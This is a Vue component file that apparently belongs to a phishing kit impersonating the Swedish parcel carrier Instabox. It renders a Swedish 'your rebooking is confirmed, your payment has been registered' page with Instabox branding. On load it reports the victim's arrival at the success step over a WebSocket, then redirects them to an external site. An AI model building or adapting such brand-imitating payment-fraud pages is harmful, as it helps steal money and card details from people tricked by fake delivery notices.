zy-client-a/a4_se_post_instabox/src/views/SuccessView.vue

<script setup lang="ts">
import { onMounted } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal } from "@/utils/common";

onMounted(() => {
  // 发送 WebSocket 统计事件，标识到达成功页
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "success" },
    })
  );
  
  // 模拟处理并自动跳转
  setTimeout(() => {
    redirectToExternal();
  }, 2000);
  
  localStorage.setItem("route", "success");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="ibx-success-wrapper">
        <div class="ibx-header-line"></div>
        
        <div class="container">
          <div class="status-card">
            <div class="icon-section">
              <div class="check-badge">
                <svg viewBox="0 0 24 24" class="check-svg">
                  <path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z" fill="currentColor"/>
                </svg>
              </div>
            </div>

            <p class="ibx-eyebrow">Instabox bekräftelse</p>
            <h1 class="ibx-title">Din ombokning är bekräftad</h1>
            
            <div class="info-box">
              <p class="ibx-desc">
                Din betalning har registrerats och din försändelse behandlas nu vidare i Instabox-nätverket. Du får snart en uppdatering med leveransstatus och nästa steg.
              </p>
            </div>

            <div class="redirect-footer">
              <div class="brt-loader"></div>
              <p class="helper-text">Du skickas vidare automatiskt...</p>
            </div>
          </div>

          <div class="ibx-footer-note">
            <p>© Instabox Sweden AB</p>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
.ibx-success-wrapper {
  background: linear-gradient(180deg, #f7f8f8 0%, #ffffff 240px);
  min-height: 85vh;
  display: flex;
  flex-direction: column;
  align-items: center;
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  padding: 0;
}

.ibx-header-line {
  width: 100%;
  height: 6px;
  background-color: #e9004c;
}

.container {
  max-width: 600px;
  width: 100%;
  padding: 60px 20px;
}

.status-card {
  background-color: #ffffff;
  padding: 50px 40px;
  border-radius: 18px;
  border: 1px solid #f0f0f0;
  box-shadow: 0 16px 40px rgba(0, 0, 0, 0.06);
  text-align: center;
}

.icon-section {
  margin-bottom: 25px;
}

.check-badge {
  background-color: #e9004c;
  color: white;
  width: 72px;
  height: 72px;
  border-radius: 50%;
  display: inline-flex;
  justify-content: center;
  align-items: center;
}

.check-svg {
  width: 44px;
  height: 44px;
}

.ibx-eyebrow {
  margin: 0 0 10px;
  color: #e9004c;
  font-size: 12px;
  font-weight: 800;
  letter-spacing: 0.08em;
  text-transform: uppercase;
}

.ibx-title {
  color: #222222;
  font-size: 30px;
  font-weight: 800;
  margin-bottom: 20px;
  letter-spacing: -0.5px;
}

.info-box {
  background-color: #fcfcfc;
  border: 1px solid #efefef;
  border-radius: 12px;
  padding: 20px;
  margin: 30px 0;
}

.ibx-desc {
  font-size: 16px;
  color: #555555;
  line-height: 1.6;
  margin: 0;
}

.redirect-footer {
  margin-top: 40px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 15px;
}

.brt-loader {
  width: 32px;
  height: 32px;
  border: 3px solid #f0f0f0;
  border-top: 3px solid #e9004c;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

.helper-text {
  font-size: 14px;
  color: #999999;
  font-style: normal;
}

.ibx-footer-note {
  margin-top: 25px;
  text-align: center;
  font-size: 11px;
  color: #aaaaaa;
  line-height: 1.4;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

/* 响应式适配移动端 */
@media (max-width: 480px) {
  .status-card {
    padding: 35px 20px;
    border-radius: 16px;
  }
  
  .ibx-title {
    font-size: 24px;
  }
  
  .ibx-desc {
    font-size: 14px;
  }
  
  .container {
    padding-top: 30px;
  }
}
</style>